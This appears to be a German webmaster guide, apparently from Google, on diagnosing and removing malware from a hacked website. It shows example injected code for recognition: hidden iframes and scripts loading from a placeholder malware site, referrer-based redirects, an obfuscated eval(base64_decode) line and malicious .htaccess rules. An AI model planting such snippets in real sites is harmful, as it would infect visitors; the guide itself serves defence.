Mit Malware gehackt

Malware ist eine Software oder mobile App, die speziell dazu entwickelt wurde, einem Computer, einem Mobilgerät, der darauf ausgeführten Software oder deren Nutzern zu schaden. Weitere Informationen zu Malware finden Sie unter Malware und unerwünschte Software.

Wenn Ihre Website Malware enthält, wird Nutzern in den Suchergebnissen oder auf einer Interstitial-Seite, die der Browser anzeigt, wenn der Nutzer versucht, Ihre Website aufzurufen, in der Regel die Warnung Diese Website kann Ihren Computer beschädigen angezeigt. Sie sieht in etwa so aus:

Repräsentative Interstitial-Seite mit Malware
Suchergebnisse mit einer Malware-Warnung

Sie benötigen dazu Folgendes:

  • Shell- oder Terminalzugriff für Administratoren auf die Server Ihrer Website: Web-, Datenbank- und Dateiserver.
  • Kenntnisse zu Shell- oder Terminalbefehlen
  • Die Möglichkeit, SQL-Abfragen für die Datenbank auszuführen.

Vorbereitung

  • Melden Sie sich in der Search Console an und bestätigen Sie die Inhaberschaft Ihrer gehackten Website wie dort beschrieben. In der Search Console finden Sie eine Auswahl der betroffenen Seiten. So lassen sich Probleme, die durch Malware verursacht wurden, viel einfacher finden und beheben. Außerdem werden Sie gewarnt, wenn Ihre Website von vielen Arten von Malware oder anderen Hacks betroffen ist.
  • Auf der Diagnoseseite von Google für sicheres Durchsuchen finden Sie öffentliche Informationen dazu, ob eine Website potenziell schädlich für Nutzer ist. Sie können den Eintragsstatus für Ihre Seite oder Website unter einer URL wie dieser abrufen: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Beispiel: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> kann eine bestimmte Seiten-URL (http://example.com/badpage) oder Ihre gesamte Website (beispiel.de) sein.

  • Verwenden Sie keinen Browser, um Seiten auf Ihrer Website aufzurufen. Da Malware sich oft über Schwachstellen in Browsern ausbreitet, könnten Schäden an Ihrem Computer auftreten, wenn eine mit Malware infizierte Seite in einem Browser geöffnet wird. Sofern in der Anleitung zur Fehlerbehebung nicht angegeben ist, dass Sie direkt im Browser auf die Seite zugreifen sollen, verwenden Sie cURL oder Wget, um HTTP-Anfragen (z. B. zum Abrufen einer Seite) durchzuführen.

    Diese kostenlos verfügbaren Tools helfen bei der Diagnose von Weiterleitungen und können Informationen zur Verweis-URL oder zum User-Agent beinhalten. Wenn Sie einen bestimmten Verweis- oder User-Agent hinzufügen, können Sie Hacker besser nachahmen, da Hacker möglicherweise nur schädliche Inhalte für Nutzer mit bestimmten User-Agents oder Verweisquellen bereitstellen, um mehr „echte Menschen“ anzusprechen und die Erkennung durch Websiteinhaber und Malware-Scanner zu vermeiden.

`curl -v --referer "http://www.google.com" <your-url>`

Hier ein Beispiel, in dem sowohl ein User-Agent als auch ein Verweis angegeben ist:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Wir empfehlen, eine Seite mit und ohne --referer "https://www.google.com" abzurufen, da einige Malware nur aktiviert wird, wenn Nutzer über die Google-Suchergebnisse auf die Seite gelangen.

  • Erstellen Sie ein Dokument, um die Ergebnisse in diesem Schritt zu erfassen. Das Dokument enthält mindestens den Namen und Speicherort jeder beschädigten Datei sowie Hinweise dazu, wie sie infiziert wurde. Es dient als Grundlage für die Bereinigung und Wartung Ihrer Website.

  • Sehen Sie sich das Video oben auf dieser Seite an, um mehr darüber zu erfahren, wie Malware funktioniert und wie Sie sich bei der Untersuchung von Malware schützen können.

Diagnose

Ermitteln Sie, welche Malware Ihre Website beeinträchtigen:

  1. Öffnen Sie in der Search Console den Bericht zu Sicherheitsproblemen für Ihre Website. Maximieren Sie die Beschreibung der Malwarewarnung, um eine Liste der betroffenen Seiten aufzurufen. Diese Liste ist nicht vollständig. Möglicherweise erhalten Sie keine Beispielseiten für alle Arten von Malware auf Ihrer Website.
  2. Testen Sie Ihre Beispielseiten auf die folgenden Arten von Malware.

Malware in der Serverkonfiguration (unerwünschte Weiterleitungen)

Ein Hacker hat Ihre Website so manipuliert, dass Besucher von Ihrer sauberen Website zu dessen Malware-Angriffswebsite weitergeleitet werden. Dies geschieht wahrscheinlich durch eine Änderung Ihrer Serverkonfigurationsdatei(en). Der Administrator einer Website nutzt die Konfigurationsdateien des Servers üblicherweise dazu, URL-Weiterleitungen für bestimmte Seiten oder Verzeichnisse einer Website festzulegen. Auf Apache-Servern sind dies beispielsweise die Dateien „.htaccess“ und „httpd.conf“.

Diagnose

Rufen Sie einige der im Bericht "Sicherheitsprobleme" genannten Beispiel-URLs auf. Eine Antwort von einer Seite, deren Serverkonfigurationsdateien manipuliert wurden, kann die folgenden Header enthalten:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Betroffene Dateien ermitteln

Sie können sich durch Shell- oder Terminal-Zugang auf Ihrem Server anmelden und die betreffenden Serverkonfigurationsdateien überprüfen. Dabei kann die Website auch offline sein. Eventuell gibt es auf Ihrer Website mehr als eine gehackte Serverkonfigurationsdatei. Prüfen Sie diese Dateien auf unerwünschte Anweisungen wie Weiterleitungen zu unbekannten Websites. Die Datei .htaccess kann beispielsweise eine solche Weiterleitung enthalten:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL-Injection

Ein Hacker hat die Datenbank Ihrer Website manipuliert. Beispielsweise könnte der Hacker programmatisch in jeden Eintrag einer Datenbanktabelle schädlichen Code eingefügt haben. Wenn dann ein Server eine Seite lädt, für die Informationen aus der Datenbank abgerufen werden, wird dieser Code in den Inhalt der Seite eingebettet. Dadurch könnten Websitebesucher geschädigt werden.

Diagnose

  1. Senden Sie über die Befehlszeile einige Abfragen an die betroffenen URLs. Suchen Sie in der Antwort nach Wörtern, die auf einen SQL-Angriff hindeuten können, z. B. „iframe“ oder „eval“.
  2. Melden Sie sich auf Ihrem Datenbankserver an oder rufen Sie Ihre Datenbank über ein Tool wie phpMyAdmin auf. Wenn Sie Wget oder cURL verwendet haben, versuchen Sie, den durch Wget oder cURL im Seitenquellcode gefundenen Schaden mit den eigentlichen Datenbankeinträgen in Verbindung zu bringen. Wenn Sie beispielsweise bemerken, dass ein gefährlicher iFrame in Ihren Seiten enthalten ist, können Sie mit einer SQL-Abfrage nach dem iFrame-Code suchen. Beispiel:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
  3. Sie können auch Datenbankprotokolle und Fehlerdateien auf Ihrem Server auf ungewöhnliche Aktivitäten untersuchen, zum Beispiel auf unerwartete, für normale Nutzer unübliche SQL-Befehle oder Fehler.

Problem beheben

Aktualisieren Sie entweder jeden infizierten Datenbankeintrag oder stellen Sie die letzte bekannte Datenbanksicherung wieder her.

Code-Einschleusung

Seiten Ihrer Website wurden so geändert, dass sie schädlichen Code enthalten, beispielsweise einen iFrame für eine Malware-Angriffswebsite.

Diagnose

Rufen Sie einige der im Bericht „Sicherheitsprobleme“ genannten Beispiel-URLs mit cURL oder wGet auf und prüfen Sie sie auf verdächtige Codeelemente. Eingeschleuster Code kann viele Formen haben und ist oft schwer zu finden. Es kann hilfreich sein, nach Wörtern wie „iframe“ zu suchen, um iFrame-Code zu finden. Weitere hilfreiche Suchbegriffe sind "script", "eval" und "unescape". So durchsuchen Sie beispielsweise auf Unix-basierten Systemen alle Dateien nach „iframe“:

$grep -irn "iframe" ./ | less</pre>

Im Folgenden finden Sie einige gängige Malware-Muster, auf die Sie achten sollten.

iFrame, der eine schädliche Website lädt:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript oder eine andere Skriptsprache, die Skripts von einer Angriffswebsite abruft und ausführt:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Skripts, die den Browser zu einer Angriffswebsite weiterleiten:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;
<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Schädlicher Code, der verschleiert ist, um nicht entdeckt zu werden:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

Gemeinsame Objektdateien, die erstellt wurden, um willkürlich schädlichen Code in ansonsten harmlose Skripts zu schreiben:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Bösartige Fehlervorlagen

Die für Fehlermeldungen verwendete Vorlage, z. B. „404 – Datei nicht gefunden“, ist so konfiguriert, dass dadurch Malware verbreitet wird. Auf diese Weise können Angriffe sogar über URLs gestartet werden, die auf Ihrer Website gar nicht existieren.

Diagnose

Fordern Sie eine Seite Ihrer Website an, die nicht existiert oder bei der eine andere Art von Fehler ausgegeben wird. Prüfen Sie dann, ob die Antwort von einer anderen Website stammt oder Malware enthält.

Problem beheben

Melden Sie sich bei Ihrem Webserver an und suchen Sie in den Serverkonfigurationsdateien nach Anweisungen zu Fehlerseiten. Die Fehlervorlage für Apache-Webserver kann beispielsweise in der Datei .htaccess deklariert sein. Hier ist ein Beispiel für einen .htaccess-Dateieintrag, durch den 404-Fehlerseiten von einer schädlichen Website abgerufen werden:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Wenn Sie Ihre Website bereinigen möchten, können Sie entweder die .htaccess-Dateien durch eine bekanntermaßen saubere Sicherung ersetzen oder die unerwünschten ErrorDocument-Anweisungen in den vorhandenen .htaccess-Dateien löschen. Sie müssen auch die eigentlichen Fehlerdateien bereinigen, wenn diese auf Ihrer Website vorhanden sind. Starten Sie abschließend den Webserver neu, damit alle Änderungen wirksam werden.

Ressourcen, die von einer manipulierten oder schädlichen Website geladen werden {compromised-resources}

Ihre Website verwendet Inhalte oder Ressourcen von einer Website, die bekanntermaßen schädliche Inhalte enthält. Das können JavaScript-Dateien, Bilder oder andere Dateien sein. Ihre Website wird daher wegen Malware gemeldet, die von dieser anderen Website geladen wurde.

Diagnose

Rufen Sie einige der im Bericht "Sicherheitsprobleme" genannten Beispiel-URLs auf.

Problem beheben

  1. Bestätigen Sie das Problem, indem Sie einige der im Bericht „Sicherheitsprobleme“ in der Search Console angegebenen Beispiel-URLs aufrufen. Sie sollten eine Browserwarnung sehen.
  2. In der Warnung des Browsers wird die Domain des betreffenden Inhalts angegeben. Entfernen Sie alle Verweise auf die Website, die in der Warnung aufgeführt ist. Wenn die Inhalte von einer als schädlich gekennzeichneten Website ohne Ihr Wissen eingebunden wurden, ist das Problem schwerwiegender. Ihre Website wurde höchstwahrscheinlich manipuliert. Sie sollten sie daher weiterhin auf andere Hacks und Sicherheitslücken prüfen.
  3. Wenn Sie Inhalte einer legitimen Website, die gemeldet wurde, absichtlich eingefügt haben und die Inhalte wieder einfügen möchten, nachdem die gemeldete Website bereinigt wurde, können Sie den Status der gemeldeten Website auf der Google Safe Browsing-Diagnoseseite für diese Website (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external} beobachten. Die Inhaber legitimer Websites bereinigen sie in der Regel schnell.

Weitere Prüfung

Prüfen Sie als Nächstes, ob es weitere schädliche Dateien oder Änderungen auf Ihrem System gibt. Der Hacker hat möglicherweise vorhandene Seiten oder Datenbankeinträge geändert, komplett neue Spamseiten erstellt, Funktionen geschrieben, die Spam auf sauberen Seiten anzeigen, oder „Backdoors“ hinterlassen, die es dem Hacker ermöglichen, Ihre Website wieder zu betreten oder schädlichen Code, den Sie entfernt haben, wieder einzuschleusen.

Wenn Ihre Website online ist, sollten Sie sie während der Untersuchung offline stellen.

Wenn Sie eine fehlerfreie Sicherung Ihrer Website haben, ermitteln Sie, welche Dateien seit der Sicherung erstellt oder geändert wurden, und prüfen Sie diese. Auf Unix-basierten Systemen können Sie mit einem Befehl wie dem folgenden nach neuen Dateien suchen:

diff -qr <current-directory> <backup-directory>

Beispiel:

diff -qr www/ backups/full-backup-20120124/

Außerdem:

md5sum <current-page> <backup-page>

Beispiel:

md5sum www/page.html backups/full-backup-20120124/page.html

Prüfen Sie die Server-, Zugriffs- und Fehlerprotokolle auf verdächtige Aktivitäten, z. B. fehlgeschlagene Anmeldeversuche, den Befehlsverlauf (insbesondere als Root) und die Erstellung unbekannter Nutzerkonten. Beachten Sie, dass der Hacker diese Protokolle möglicherweise für seine eigenen Zwecke geändert hat. Einige Beispiele finden Sie im Video unter Sicherheitslücke identifizieren.

Konfigurationsdateien auf Weiterleitungen prüfen Ihre Konfigurationsdateien heißen in der Regel .htaccess und httpd.conf. Hacker erstellen häufig bedingte Weiterleitungen, die vom User-Agent, der Tageszeit oder dem Verweis abhängen. Wenn Sie Konfigurationsdateien aktualisieren müssen, müssen Sie möglicherweise Ihren Server neu starten, damit die Änderungen wirksam werden.

Prüfen Sie, ob die Ordner- und Dateiberechtigungen zu großzügig sind. Hacker manipulieren Berechtigungen, weil sie so wieder auf die Website zugreifen können, wenn der Websiteinhaber die lockeren Berechtigungen nicht bemerkt. Dateien, die größer als 644 (rw-r--r--) und Ordner, die größer als 755 (rwxr-xr-x) sind, können Sicherheitsprobleme verursachen. Prüfen Sie, ob diese Berechtigungen auch stärker eingeschränkt werden können. Versuchen Sie Folgendes, wenn Sie ein Unix-basiertes System verwenden:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

und:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Wenn Sie eine Datenbank haben, prüfen Sie die Einträge einzeln mit einem Tool wie phpMyAdmin.